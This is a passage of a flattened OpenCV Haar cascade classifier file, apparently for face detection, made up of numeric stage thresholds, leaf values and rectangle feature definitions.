-1.6803000122308731e-02 + + -3.5965099930763245e-01 2.0412999391555786e-01 + <_> + + 0 -1 2839 -7.6747998595237732e-02 + + 7.8050500154495239e-01 -1.5612800419330597e-01 + <_> + + 0 -1 2840 -2.3671999573707581e-01 + + 1.1813700199127197e+00 7.8111998736858368e-02 + <_> + + 0 -1 2841 -1.0057400166988373e-01 + + -4.7104099392890930e-01 7.9172998666763306e-02 + <_> + + 0 -1 2842 1.3239999534562230e-03 + + 2.2262699902057648e-01 -3.7099799513816833e-01 + <_> + + 0 -1 2843 2.2152999415993690e-02 + + -3.8649000227451324e-02 -9.2274999618530273e-01 + <_> + + 0 -1 2844 -1.1246199905872345e-01 + + 4.1899600625038147e-01 8.0411002039909363e-02 + <_> + + 0 -1 2845 1.6481000930070877e-02 + + -1.6756699979305267e-01 7.1842402219772339e-01 + <_> + + 0 -1 2846 6.8113997578620911e-02 + + 1.5719899535179138e-01 -8.7681102752685547e-01 + <_> + + 0 -1 2847 1.6011999920010567e-02 + + -4.1600000113248825e-03 -5.9327799081802368e-01 + <_> + + 0 -1 2848 4.6640001237392426e-03 + + -3.0153999105095863e-02 4.8345300555229187e-01 + <_> + + 0 -1 2849 6.7579997703433037e-03 + + -2.2667400538921356e-01 3.3662301301956177e-01 + <_> + + 0 -1 2850 4.7289999201893806e-03 + + -6.0373999178409576e-02 3.1458100676536560e-01 + <_> + + 0 -1 2851 2.5869999080896378e-03 + + -2.9872599244117737e-01 1.7787499725818634e-01 + <_> + + 0 -1 2852 2.8989999555051327e-03 + + 2.1890200674533844e-01 -2.9567098617553711e-01 + <_> + + 0 -1 2853 -3.0053999274969101e-02 + + 1.2150429487228394e+00 -1.4354999363422394e-01 + <_> + + 0 -1 2854 1.4181000180542469e-02 + + 1.2451999820768833e-02 5.5490100383758545e-01 + <_> + + 0 -1 2855 -6.0527000576257706e-02 + + -1.4933999776840210e+00 -6.5227001905441284e-02 + <_> + + 0 -1 2856 -1.9882999360561371e-02 + + -3.8526400923728943e-01 1.9761200249195099e-01 + <_> + + 0 -1 2857 3.1218999996781349e-02 + + -2.1281200647354126e-01 2.9446500539779663e-01 + <_> + + 0 -1 2858 1.8271999433636665e-02 + + 9.7200000891461968e-04 6.6814202070236206e-01 + <_> + + 0 -1 2859 1.1089999461546540e-03 + + -6.2467902898788452e-01 -1.6599999507889152e-03 + <_> + + 0 -1 2860 -3.6713998764753342e-02 + + -4.2333900928497314e-01 1.2084700167179108e-01 + <_> + + 0 -1 2861 1.2044000439345837e-02 + + 2.5882000103592873e-02 -5.0732398033142090e-01 + <_> + + 0 -1 2862 7.4749000370502472e-02 + + 1.3184699416160583e-01 -2.1739600598812103e-01 + <_> + + 0 -1 2863 -2.3473200201988220e-01 + + 1.1775610446929932e+00 -1.5114699304103851e-01 + <_> + + 0 -1 2864 1.4096499979496002e-01 + + 3.3991001546382904e-02 3.9923098683357239e-01 + <_> + + 0 -1 2865 6.1789997853338718e-03 + + -3.1806701421737671e-01 1.1681699752807617e-01 + <_> + + 0 -1 2866 -5.7216998189687729e-02 + + 8.4399098157882690e-01 8.3889000117778778e-02 + <_> + + 0 -1 2867 -5.5227000266313553e-02 + + 3.6888301372528076e-01 -1.8913400173187256e-01 + <_> + + 0 -1 2868 -2.1583000198006630e-02 + + -5.2161800861358643e-01 1.5772600471973419e-01 + <_> + + 0 -1 2869 2.5747999548912048e-02 + + -5.9921998530626297e-02 -1.0674990415573120e+00 + <_> + + 0 -1 2870 -1.3098999857902527e-02 + + 7.8958398103713989e-01 5.2099999040365219e-02 + <_> + + 0 -1 2871 2.2799998987466097e-03 + + -1.1704430580139160e+00 -5.9356998652219772e-02 + <_> + + 0 -1 2872 8.8060004636645317e-03 + + 4.1717998683452606e-02 6.6352599859237671e-01 + <_> + + 0 -1 2873 -8.9699998497962952e-03 + + -3.5862699151039124e-01 6.0458000749349594e-02 + <_> + + 0 -1 2874 4.0230001322925091e-03 + + 2.0979399979114532e-01 -2.4806000292301178e-01 + <_> + + 0 -1 2875 2.5017000734806061e-02 + + -1.8795900046825409e-01 3.9547100663185120e-01 + <_> + + 0 -1 2876 -5.9009999968111515e-03 + + 2.5663900375366211e-01 -9.4919003546237946e-02 + <_> + + 0 -1 2877 4.3850000947713852e-03 + + 3.3139001578092575e-02 -4.6075400710105896e-01 + <_> + + 0 -1 2878 -3.3771999180316925e-02 + + -9.8881602287292480e-01 1.4636899530887604e-01 + <_> + + 0 -1 2879 4.4523000717163086e-02 + + -1.3286699354648590e-01 1.5796790122985840e+00 + <_> + + 0 -1 2880 -4.0929000824689865e-02 + + 3.3877098560333252e-01 7.4970997869968414e-02 + <_> + + 0 -1 2881 3.9351999759674072e-02 + + -1.8327899277210236e-01 4.6980699896812439e-01 + <_> + + 0 -1 2882 -7.0322997868061066e-02 + + -9.8322701454162598e-01 1.1808100342750549e-01 + <_> + + 0 -1 2883 3.5743001848459244e-02 + + -3.3050999045372009e-02 -8.3610898256301880e-01 + <_> + + 0 -1 2884 -4.2961999773979187e-02 + + 1.1670809984207153e+00 8.0692000687122345e-02 + <_> + + 0 -1 2885 -2.1007999777793884e-02 + + 6.3869798183441162e-01 -1.7626300454139709e-01 + <_> + + 0 -1 2886 -1.5742200613021851e-01 + + -2.3302499949932098e-01 1.2517499923706055e-01 + <_> + + 0 -1 2887 7.8659998252987862e-03 + + -2.2037999331951141e-01 2.7196800708770752e-01 + <_> + + 0 -1 2888 2.3622000589966774e-02 + + 1.6127300262451172e-01 -4.3329000473022461e-01 + <_> + + 0 -1 2889 7.4692003428936005e-02 + + -1.6991999745368958e-01 5.8884900808334351e-01 + <_> + + 0 -1 2890 -6.4799998654052615e-04 + + 2.5842899084091187e-01 -3.5911999642848969e-02 + <_> + + 0 -1 2891 -1.6290999948978424e-02 + + -7.6764398813247681e-01 -2.0472999662160873e-02 + <_> + + 0 -1 2892 -3.3133998513221741e-02 + + -2.7180099487304688e-01 1.4325700700283051e-01 + <_> + + 0 -1 2893 4.8797998577356339e-02 + + 7.6408997178077698e-02 -4.1445198655128479e-01 + <_> + + 0 -1 2894 2.2869999520480633e-03 + + -3.8628999143838882e-02 2.0753799378871918e-01 + <_> + + 0 -1 2895 4.5304000377655029e-02 + + -1.7777900397777557e-01 6.3461399078369141e-01 + <_> + + 0 -1 2896 1.0705800354480743e-01 + + 1.8972299993038177e-01 -5.1236200332641602e-01 + <_> + + 0 -1 2897 -4.0525000542402267e-02 + + 7.0614999532699585e-01 -1.7803299427032471e-01 + <_> + + 0 -1 2898 3.1968999654054642e-02 + + 6.8149998784065247e-02 6.8733102083206177e-01 + <_> + + 0 -1 2899 -5.7617001235485077e-02 + + 7.5170499086380005e-01 -1.5764999389648438e-01 + <_> + + 0 -1 2900 1.3593999668955803e-02 + + 1.9411900639533997e-01 -2.4561899900436401e-01 + <_> + + 0 -1 2901 7.1396000683307648e-02 + + -4.6881001442670822e-02 -8.8198298215866089e-01 + <_> + + 0 -1 2902 -1.4895999804139137e-02 + + -4.4532400369644165e-01 1.7679899930953979e-01 + <_> + + 0 -1 2903 -1.0026000440120697e-02 + + 6.5122699737548828e-01 -1.6709999740123749e-01 + <_> + + 0 -1 2904 3.7589999847114086e-03 + + -5.8301001787185669e-02 3.4483298659324646e-01 + <_> + + 0 -1 2905 1.6263000667095184e-02 + + -1.5581500530242920e-01 8.6432701349258423e-01 + <_> + + 0 -1 2906 -4.0176000446081161e-02 + + -6.1028599739074707e-01 1.1796399950981140e-01 + <_> + + 0 -1 2907 2.7080999687314034e-02 + + -4.9601998180150986e-02 -8.9990001916885376e-01 + <_> + + 0 -1 2908 5.2420001477003098e-02 + + 1.1297199875116348e-01 -1.0833640098571777e+00 + <_> + + 0 -1 2909 -1.9160000607371330e-02 + + -7.9880100488662720e-01 -3.4079000353813171e-02 + <_> + + 0 -1 2910 -3.7730000913143158e-03 + + -1.9124099612236023e-01 2.1535199880599976e-01 + <_> + + 0 -1 2911 7.5762003660202026e-02 + + -1.3421699404716492e-01 1.6807060241699219e+00 + <_> + + 0 -1 2912 -2.2173000499606133e-02 + + 4.8600998520851135e-01 3.6160000599920750e-03 + + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 4 12 7 -1. + <_> + 10 4 4 7 3. + <_> + + <_> + 3 9 18 9 -1. + <_> + 3 12 18 3 3. + <_> + + <_> + 8 18 9 6 -1. + <_> + 8 20 9 2 3. + <_> + + <_> + 3 5 4 19 -1. + <_> + 5 5 2 19 2. + <_> + + <_> + 6 5 12 16 -1. + <_> + 6 13 12 8 2. + <_> + + <_> + 5 8 12 6 -1. + <_> + 5 11 12 3 2. + <_> + + <_> + 11 14 4 10 -1. + <_> + 11 19 4 5 2. + <_> + + <_> + 4 0 7 6 -1. + <_> + 4 3 7 3 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 8 12 2 3. + <_> + + <_> + 6 4 12 7 -1. + <_> + 10 4 4 7 3. + <_> + + <_> + 1 8 19 12 -1. + <_> + 1 12 19 4 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 8 2 8 3 3. + <_> + + <_> + 9 9 6 15 -1. + <_> + 9 14 6 5 3. + <_> + + <_> + 5 6 14 10 -1. + <_> + 5 11 14 5 2. + <_> + + <_> + 5 0 14 9 -1. + <_> + 5 3 14 3 3. + <_> + + <_> + 13 11 9 6 -1. + <_> + 16 11 3 6 3. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 10 8 6 10 -1. + <_> + 12 8 2 10 3. + <_> + + <_> + 2 5 4 9 -1. + <_> + 4 5 2 9 2. + <_> + + <_> + 18 0 6 11 -1. + <_> + 20 0 2 11 3. + <_> + + <_> + 0 6 24 13 -1. + <_> + 8 6 8 13 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 7 18 10 6 -1. + <_> + 7 20 10 2 3. + <_> + + <_> + 5 7 14 12 -1. + <_> + 5 13 14 6 2. + <_> + + <_> + 0 3 24 3 -1. + <_> + 8 3 8 3 3. + <_> + + <_> + 5 8 15 6 -1. + <_> + 5 11 15 3 2. + <_> + + <_> + 9 6 5 14 -1. + <_> + 9 13 5 7 2. + <_> + + <_> + 9 5 6 10 -1. + <_> + 11 5 2 10 3. + <_> + + <_> + 6 6 3 12 -1. + <_> + 6 12 3 6 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 5 6 13 6 -1. + <_> + 5 8 13 2 3. + <_> + + <_> + 18 1 6 15 -1. + <_> + 18 1 3 15 2. + <_> + + <_> + 1 1 6 15 -1. + <_> + 4 1 3 15 2. + <_> + + <_> + 0 8 24 15 -1. + <_> + 8 8 8 15 3. + <_> + + <_> + 5 6 14 12 -1. + <_> + 5 6 7 6 2. + <_> + 12 12 7 6 2. + <_> + + <_> + 2 12 21 12 -1. + <_> + 2 16 21 4 3. + <_> + + <_> + 8 1 4 10 -1. + <_> + 10 1 2 10 2. + <_> + + <_> + 2 13 20 10 -1. + <_> + 2 13 10 10 2. + <_> + + <_> + 0 1 6 13 -1. + <_> + 2 1 2 13 3. + <_> + + <_> + 20 2 4 13 -1. + <_> + 20 2 2 13 2. + <_> + + <_> + 0 5 22 19 -1. + <_> + 11 5 11 19 2. + <_> + + <_> + 18 4 6 9 -1. + <_> + 20 4 2 9 3. + <_> + + <_> + 0 3 6 11 -1. + <_> + 2 3 2 11 3. + <_> + + <_> + 12 1 4 9 -1. + <_> + 12 1 2 9 2. + <_> + + <_> + 0 6 19 3 -1. + <_> + 0 7 19 1 3. + <_> + + <_> + 12 1 4 9 -1. + <_> + 12 1 2 9 2. + <_> + + <_> + 8 1 4 9 -1. + <_> + 10 1 2 9 2. + <_> + + <_> + 5 5 14 14 -1. + <_> + 12 5 7 7 2. + <_> + 5 12 7 7 2. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 17 13 4 11 -1. + <_> + 17 13 2 11 2. + <_> + + <_> + 0 4 6 9 -1. + <_> + 0 7 6 3 3. + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 5 12 6 -1. + <_> + 10 5 4 6 3. + <_> + + <_> + 0 1 24 5 -1. + <_> + 8 1 8 5 3. + <_> + + <_> + 4 10 18 6 -1. + <_> + 4 12 18 2 3. + <_> + + <_> + 2 17 12 6 -1. + <_> + 2 17 6 3 2. + <_> + 8 20 6 3 2. + <_> + + <_> + 19 3 4 13 -1. + <_> + 19 3 2 13 2. + <_> + + <_> + 1 3 4 13 -1. + <_> + 3 3 2 13 2. + <_> + + <_> + 0 1 24 23 -1. + <_> + 8 1 8 23 3. + <_> + + <_> + 1 7 8 12 -1. + <_> + 1 11 8 4 3. + <_> + + <_> + 14 7 3 14 -1. + <_> + 14 14 3 7 2. + <_> + + <_> + 3 12 16 6 -1. + <_> + 3 12 8 3 2. + <_> + 11 15 8 3 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 8 12 2 3. + <_> + + <_> + 8 7 6 12 -1. + <_> + 8 13 6 6 2. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 4 4 16 12 -1. + <_> + 4 10 16 6 2. + <_> + + <_> + 0 1 4 20 -1. + <_> + 2 1 2 20 2. + <_> + + <_> + 3 0 18 2 -1. + <_> + 3 1 18 1 2. + <_> + + <_> + 1 5 20 14 -1. + <_> + 1 5 10 7 2. + <_> + 11 12 10 7 2. + <_> + + <_> + 5 8 14 12 -1. + <_> + 5 12 14 4 3. + <_> + + <_> + 3 14 7 9 -1. + <_> + 3 17 7 3 3. + <_> + + <_> + 14 15 9 6 -1. + <_> + 14 17 9 2 3. + <_> + + <_> + 1 15 9 6 -1. + <_> + 1 17 9 2 3. + <_> + + <_> + 11 6 8 10 -1. + <_> + 15 6 4 5 2. + <_> + 11 11 4 5 2. + <_> + + <_> + 5 5 14 14 -1. + <_> + 5 5 7 7 2. + <_> + 12 12 7 7 2. + <_> + + <_> + 6 0 12 5 -1. + <_> + 10 0 4 5 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 9 3 6 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 3 8 18 4 -1. + <_> + 9 8 6 4 3. + <_> + + <_> + 6 0 12 9 -1. + <_> + 6 3 12 3 3. + <_> + + <_> + 0 0 24 6 -1. + <_> + 8 0 8 6 3. + <_> + + <_> + 4 7 16 12 -1. + <_> + 4 11 16 4 3. + <_> + + <_> + 11 6 6 6 -1. + <_> + 11 6 3 6 2. + <_> + + <_> + 0 20 24 3 -1. + <_> + 8 20 8 3 3. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 4 13 15 4 -1. + <_> + 9 13 5 4 3. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 9 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 18 6 6 2. + <_> + + <_> + 1 22 18 2 -1. + <_> + 1 23 18 1 2. + <_> + + <_> + 10 7 4 10 -1. + <_> + 10 12 4 5 2. + <_> + + <_> + 6 7 8 10 -1. + <_> + 6 12 8 5 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 0 14 10 4 -1. + <_> + 0 16 10 2 2. + <_> + + <_> + 6 18 18 2 -1. + <_> + 6 19 18 1 2. + <_> + + <_> + 1 1 22 3 -1. + <_> + 1 2 22 1 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 2 4 6 15 -1. + <_> + 5 4 3 15 2. + <_> + + <_> + 20 4 4 10 -1. + <_> + 20 4 2 10 2. + <_> + + <_> + 0 4 4 10 -1. + <_> + 2 4 2 10 2. + <_> + + <_> + 2 16 20 6 -1. + <_> + 12 16 10 3 2. + <_> + 2 19 10 3 2. + <_> + + <_> + 0 12 8 9 -1. + <_> + 4 12 4 9 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 5 10 6 6 -1. + <_> + 8 10 3 6 2. + <_> + + <_> + 11 8 12 6 -1. + <_> + 17 8 6 3 2. + <_> + 11 11 6 3 2. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 10 8 6 10 -1. + <_> + 12 8 2 10 3. + <_> + + <_> + 3 19 12 3 -1. + <_> + 9 19 6 3 2. + <_> + + <_> + 2 10 20 2 -1. + <_> + 2 11 20 1 2. + <_> + + <_> + 2 9 18 12 -1. + <_> + 2 9 9 6 2. + <_> + 11 15 9 6 2. + <_> + + <_> + 3 0 18 24 -1. + <_> + 3 0 9 24 2. + <_> + + <_> + 5 6 14 10 -1. + <_> + 5 6 7 5 2. + <_> + 12 11 7 5 2. + <_> + + <_> + 9 5 10 12 -1. + <_> + 14 5 5 6 2. + <_> + 9 11 5 6 2. + <_> + + <_> + 4 5 12 12 -1. + <_> + 4 5 6 6 2. + <_> + 10 11 6 6 2. + <_> + + <_> + 4 14 18 3 -1. + <_> + 4 15 18 1 3. + <_> + + <_> + 6 13 8 8 -1. + <_> + 6 17 8 4 2. + <_> + + <_> + 3 16 18 6 -1. + <_> + 3 19 18 3 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 6 6 12 18 -1. + <_> + 10 6 4 18 3. + <_> + + <_> + 6 1 4 14 -1. + <_> + 8 1 2 14 2. + <_> + + <_> + 3 2 19 2 -1. + <_> + 3 3 19 1 2. + <_> + + <_> + 1 8 22 13 -1. + <_> + 12 8 11 13 2. + <_> + + <_> + 8 9 11 4 -1. + <_> + 8 11 11 2 2. + <_> + + <_> + 0 12 15 10 -1. + <_> + 5 12 5 10 3. + <_> + + <_> + 12 16 12 6 -1. + <_> + 16 16 4 6 3. + <_> + + <_> + 0 16 12 6 -1. + <_> + 4 16 4 6 3. + <_> + + <_> + 19 1 5 12 -1. + <_> + 19 5 5 4 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 6 8 12 4 -1. + <_> + 6 10 12 2 2. + <_> + + <_> + 7 5 9 6 -1. + <_> + 10 5 3 6 3. + <_> + + <_> + 9 17 6 6 -1. + <_> + 9 20 6 3 2. + <_> + + <_> + 0 7 22 15 -1. + <_> + 0 12 22 5 3. + <_> + + <_> + 4 1 17 9 -1. + <_> + 4 4 17 3 3. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 18 1 6 8 -1. + <_> + 18 1 3 8 2. + <_> + + <_> + 0 1 6 7 -1. + <_> + 3 1 3 7 2. + <_> + + <_> + 18 0 6 22 -1. + <_> + 18 0 3 22 2. + <_> + + <_> + 0 0 6 22 -1. + <_> + 3 0 3 22 2. + <_> + + <_> + 16 7 8 16 -1. + <_> + 16 7 4 16 2. + <_> + + <_> + 2 10 19 6 -1. + <_> + 2 12 19 2 3. + <_> + + <_> + 9 9 6 12 -1. + <_> + 9 13 6 4 3. + <_> + + <_> + 2 15 17 6 -1. + <_> + 2 17 17 2 3. + <_> + + <_> + 14 7 3 14 -1. + <_> + 14 14 3 7 2. + <_> + + <_> + 5 6 8 10 -1. + <_> + 5 6 4 5 2. + <_> + 9 11 4 5 2. + <_> + + <_> + 15 8 9 11 -1. + <_> + 18 8 3 11 3. + <_> + + <_> + 0 8 9 11 -1. + <_> + 3 8 3 11 3. + <_> + + <_> + 8 6 10 18 -1. + <_> + 8 15 10 9 2. + <_> + + <_> + 7 7 3 14 -1. + <_> + 7 14 3 7 2. + <_> + + <_> + 0 14 24 8 -1. + <_> + 8 14 8 8 3. + <_> + + <_> + 1 10 18 14 -1. + <_> + 10 10 9 14 2. + <_> + + <_> + 14 12 6 6 -1. + <_> + 14 15 6 3 2. + <_> + + <_> + 7 0 10 16 -1. + <_> + 7 0 5 8 2. + <_> + 12 8 5 8 2. + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 4 3 16 4 -1. + <_> + 12 3 8 4 2. + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 1 1 20 4 -1. + <_> + 1 1 10 2 2. + <_> + 11 3 10 2 2. + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 5 0 9 6 -1. + <_> + 8 0 3 6 3. + <_> + + <_> + 8 18 10 6 -1. + <_> + 8 20 10 2 3. + <_> + + <_> + 6 3 6 9 -1. + <_> + 8 3 2 9 3. + <_> + + <_> + 7 3 12 6 -1. + <_> + 7 5 12 2 3. + <_> + + <_> + 0 10 18 3 -1. + <_> + 0 11 18 1 3. + <_> + + <_> + 1 10 22 3 -1. + <_> + 1 11 22 1 3. + <_> + + <_> + 5 11 8 8 -1. + <_> + 9 11 4 8 2. + <_> + + <_> + 12 11 6 6 -1. + <_> + 12 11 3 6 2. + <_> + + <_> + 6 11 6 6 -1. + <_> + 9 11 3 6 2. + <_> + + <_> + 7 10 11 6 -1. + <_> + 7 12 11 2 3. + <_> + + <_> + 0 13 24 4 -1. + <_> + 0 13 12 2 2. + <_> + 12 15 12 2 2. + <_> + + <_> + 2 4 22 12 -1. + <_> + 13 4 11 6 2. + <_> + 2 10 11 6 2. + <_> + + <_> + 2 0 20 17 -1. + <_> + 12 0 10 17 2. + <_> + + <_> + 14 0 2 24 -1. + <_> + 14 0 1 24 2. + <_> + + <_> + 8 0 2 24 -1. + <_> + 9 0 1 24 2. + <_> + + <_> + 14 1 2 22 -1. + <_> + 14 1 1 22 2. + <_> + + <_> + 8 1 2 22 -1. + <_> + 9 1 1 22 2. + <_> + + <_> + 17 6 3 18 -1. + <_> + 18 6 1 18 3. + <_> + + <_> + 6 14 9 6 -1. + <_> + 6 16 9 2 3. + <_> + + <_> + 13 14 9 4 -1. + <_> + 13 16 9 2 2. + <_> + + <_> + 3 18 18 3 -1. + <_> + 3 19 18 1 3. + <_> + + <_> + 9 4 8 18 -1. + <_> + 13 4 4 9 2. + <_> + 9 13 4 9 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 0 2 12 4 -1. + <_> + 6 2 6 4 2. + <_> + + <_> + 6 8 14 6 -1. + <_> + 6 11 14 3 2. + <_> + + <_> + 7 5 6 6 -1. + <_> + 10 5 3 6 2. + <_> + + <_> + 10 5 6 16 -1. + <_> + 10 13 6 8 2. + <_> + + <_> + 1 4 9 16 -1. + <_> + 4 4 3 16 3. + <_> + + <_> + 5 0 18 9 -1. + <_> + 5 3 18 3 3. + <_> + + <_> + 9 15 5 8 -1. + <_> + 9 19 5 4 2. + <_> + + <_> + 20 0 4 9 -1. + <_> + 20 0 2 9 2. + <_> + + <_> + 2 0 18 3 -1. + <_> + 2 1 18 1 3. + <_> + + <_> + 5 22 19 2 -1. + <_> + 5 23 19 1 2. + <_> + + <_> + 0 0 4 9 -1. + <_> + 2 0 2 9 2. + <_> + + <_> + 5 6 19 18 -1. + <_> + 5 12 19 6 3. + <_> + + <_> + 0 1 6 9 -1. + <_> + 2 1 2 9 3. + <_> + + <_> + 6 5 14 12 -1. + <_> + 13 5 7 6 2. + <_> + 6 11 7 6 2. + <_> + + <_> + 0 1 20 2 -1. + <_> + 0 2 20 1 2. + <_> + + <_> + 1 2 22 3 -1. + <_> + 1 3 22 1 3. + <_> + + <_> + 2 8 7 9 -1. + <_> + 2 11 7 3 3. + <_> + + <_> + 2 12 22 4 -1. + <_> + 13 12 11 2 2. + <_> + 2 14 11 2 2. + <_> + + <_> + 0 12 22 4 -1. + <_> + 0 12 11 2 2. + <_> + 11 14 11 2 2. + <_> + + <_> + 9 7 6 11 -1. + <_> + 11 7 2 11 3. + <_> + + <_> + 7 1 9 6 -1. + <_> + 10 1 3 6 3. + <_> + + <_> + 11 2 4 10 -1. + <_> + 11 7 4 5 2. + <_> + + <_> + 6 4 12 12 -1. + <_> + 6 10 12 6 2. + <_> + + <_> + 18 1 6 15 -1. + <_> + 18 6 6 5 3. + <_> + + <_> + 3 15 18 3 -1. + <_> + 3 16 18 1 3. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 1 5 16 6 -1. + <_> + 1 5 8 3 2. + <_> + 9 8 8 3 2. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 0 4 24 14 -1. + <_> + 0 4 12 7 2. + <_> + 12 11 12 7 2. + <_> + + <_> + 13 0 4 13 -1. + <_> + 13 0 2 13 2. + <_> + + <_> + 7 0 4 13 -1. + <_> + 9 0 2 13 2. + <_> + + <_> + 11 6 6 9 -1. + <_> + 13 6 2 9 3. + <_> + + <_> + 8 7 6 9 -1. + <_> + 10 7 2 9 3. + <_> + + <_> + 13 17 9 6 -1. + <_> + 13 19 9 2 3. + <_> + + <_> + 2 18 14 6 -1. + <_> + 2 18 7 3 2. + <_> + 9 21 7 3 2. + <_> + + <_> + 3 18 18 4 -1. + <_> + 12 18 9 2 2. + <_> + 3 20 9 2 2. + <_> + + <_> + 0 20 15 4 -1. + <_> + 5 20 5 4 3. + <_> + + <_> + 9 15 15 9 -1. + <_> + 14 15 5 9 3. + <_> + + <_> + 4 4 16 4 -1. + <_> + 4 6 16 2 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 0 14 15 10 -1. + <_> + 5 14 5 10 3. + <_> + + <_> + 7 9 10 14 -1. + <_> + 12 9 5 7 2. + <_> + 7 16 5 7 2. + <_> + + <_> + 7 6 6 9 -1. + <_> + 9 6 2 9 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 0 10 18 3 -1. + <_> + 0 11 18 1 3. + <_> + + <_> + 3 16 18 4 -1. + <_> + 12 16 9 2 2. + <_> + 3 18 9 2 2. + <_> + + <_> + 4 6 14 6 -1. + <_> + 4 6 7 3 2. + <_> + 11 9 7 3 2. + <_> + + <_> + 13 0 2 18 -1. + <_> + 13 0 1 18 2. + <_> + + <_> + 9 0 2 18 -1. + <_> + 10 0 1 18 2. + <_> + + <_> + 5 7 15 10 -1. + <_> + 10 7 5 10 3. + <_> + + <_> + 1 20 21 4 -1. + <_> + 8 20 7 4 3. + <_> + + <_> + 10 5 5 18 -1. + <_> + 10 14 5 9 2. + <_> + + <_> + 0 2 24 6 -1. + <_> + 0 2 12 3 2. + <_> + 12 5 12 3 2. + <_> + + <_> + 1 1 22 8 -1. + <_> + 12 1 11 4 2. + <_> + 1 5 11 4 2. + <_> + + <_> + 4 0 15 9 -1. + <_> + 4 3 15 3 3. + <_> + + <_> + 0 0 24 19 -1. + <_> + 8 0 8 19 3. + <_> + + <_> + 2 21 18 3 -1. + <_> + 11 21 9 3 2. + <_> + + <_> + 9 7 10 4 -1. + <_> + 9 7 5 4 2. + <_> + + <_> + 5 7 10 4 -1. + <_> + 10 7 5 4 2. + <_> + + <_> + 17 8 6 16 -1. + <_> + 20 8 3 8 2. + <_> + 17 16 3 8 2. + <_> + + <_> + 1 15 20 4 -1. + <_> + 1 15 10 2 2. + <_> + 11 17 10 2 2. + <_> + + <_> + 14 15 10 6 -1. + <_> + 14 17 10 2 3. + <_> + + <_> + 3 0 16 9 -1. + <_> + 3 3 16 3 3. + <_> + + <_> + 15 6 7 15 -1. + <_> + 15 11 7 5 3. + <_> + + <_> + 9 1 6 13 -1. + <_> + 11 1 2 13 3. + <_> + + <_> + 17 2 6 14 -1. + <_> + 17 2 3 14 2. + <_> + + <_> + 3 14 12 10 -1. + <_> + 3 14 6 5 2. + <_> + 9 19 6 5 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 1 2 6 14 -1. + <_> + 4 2 3 14 2. + <_> + + <_> + 10 4 5 12 -1. + <_> + 10 8 5 4 3. + <_> + + <_> + 0 17 24 5 -1. + <_> + 8 17 8 5 3. + <_> + + <_> + 15 7 5 12 -1. + <_> + 15 11 5 4 3. + <_> + + <_> + 3 1 6 12 -1. + <_> + 3 1 3 6 2. + <_> + 6 7 3 6 2. + <_> + + <_> + 12 13 6 6 -1. + <_> + 12 16 6 3 2. + <_> + + <_> + 6 13 6 6 -1. + <_> + 6 16 6 3 2. + <_> + + <_> + 14 6 3 16 -1. + <_> + 14 14 3 8 2. + <_> + + <_> + 1 12 13 6 -1. + <_> + 1 14 13 2 3. + <_> + + <_> + 13 1 4 9 -1. + <_> + 13 1 2 9 2. + <_> + + <_> + 7 0 9 6 -1. + <_> + 10 0 3 6 3. + <_> + + <_> + 12 2 6 9 -1. + <_> + 12 2 3 9 2. + <_> + + <_> + 6 2 6 9 -1. + <_> + 9 2 3 9 2. + <_> + + <_> + 6 18 12 6 -1. + <_> + 6 20 12 2 3. + <_> + + <_> + 7 6 6 9 -1. + 